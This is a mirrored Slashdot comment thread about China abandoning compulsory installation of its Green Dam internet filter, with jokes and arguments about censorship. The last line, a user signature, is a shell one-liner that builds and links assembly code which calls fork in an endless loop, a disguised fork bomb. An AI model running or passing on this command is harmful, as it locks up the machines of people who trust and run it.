Slashdot Mirror
China Ditches Compulsory Green Dam Plans
scrubl writes "China has ditched plans to force foreign and domestic computer manufacturers to install internet filtering technology in computers sold inside its borders. The Chinese government paid $5.85m to develop the software called Green Dam and claimed it was being installed to stop access to porn on computers and protect children. China's industry and information technology minister Li Yizhong said that manufacturers, Internet users, and organisations opposed to the plans had received the wrong message from his department and that installation was never planned to be compulsory."
Just to save yourself time and stress, go ahead and wipe your drive now before the FBI shows up to investigate your porn choices.
http://twitter.com/OLDTELEGRAM
How convenient... We just misunderstood. This had nothing to do with any public outcries whatsoever!
I don't think it would have done much good though- Kids tend to be more tech-savvy than the previous generation... and if my school's filter, and students/friends were anything to go by, it will be a minor annoyance for any kid that wants to access a blocked site.
You simply cannot win the censorship war.
Evolution - Est. 4500000000 B.C. Don't piss in the gene pool.
What we really need is an open source project to create a newer, better filter so that China can protect its children from porn and smut. If everyone in the open source community worked together I bet we could come up with a much better product that is more cross platform than the over-priced crap they tried to implement.
is that someone got paid $5.85 million by the chinese govt for copying and pasting cybersitter's source code:
http://yro.slashdot.org/story/09/06/16/1422235/Chinas-Green-Dam-No-Longer-Compulsory-May-Have-Lifted-Code
intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
I wouldn't mod as troll. Just as off topic.
I don't like corn subsidies, but I don't expect if I posted my views to a random article that someone would suddenly be inspired and rush to help spread my views.
I figure they would see me as a disruptive twat with no clear understanding of how this site works.
Of course, I wouldn't hide under AC either. But that's just me.
I think that's what the Chinese Government was afraid of...
Never underestimate the potential of Human stupidity. -Heinlein
...and we have always been at war with Eastasia.
> You simply cannot win the censorship war.
I dunno about that. The Chinese government has won the censorship war for most of the last twenty years. If people are scared enough that they self censor, the government wins. Of course this is not something you can do technologically - you pretty much need to run people over with tanks, ship them off to camps and the like. But it's sadly it is naive to say that government can't win if they are ruthless enought.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;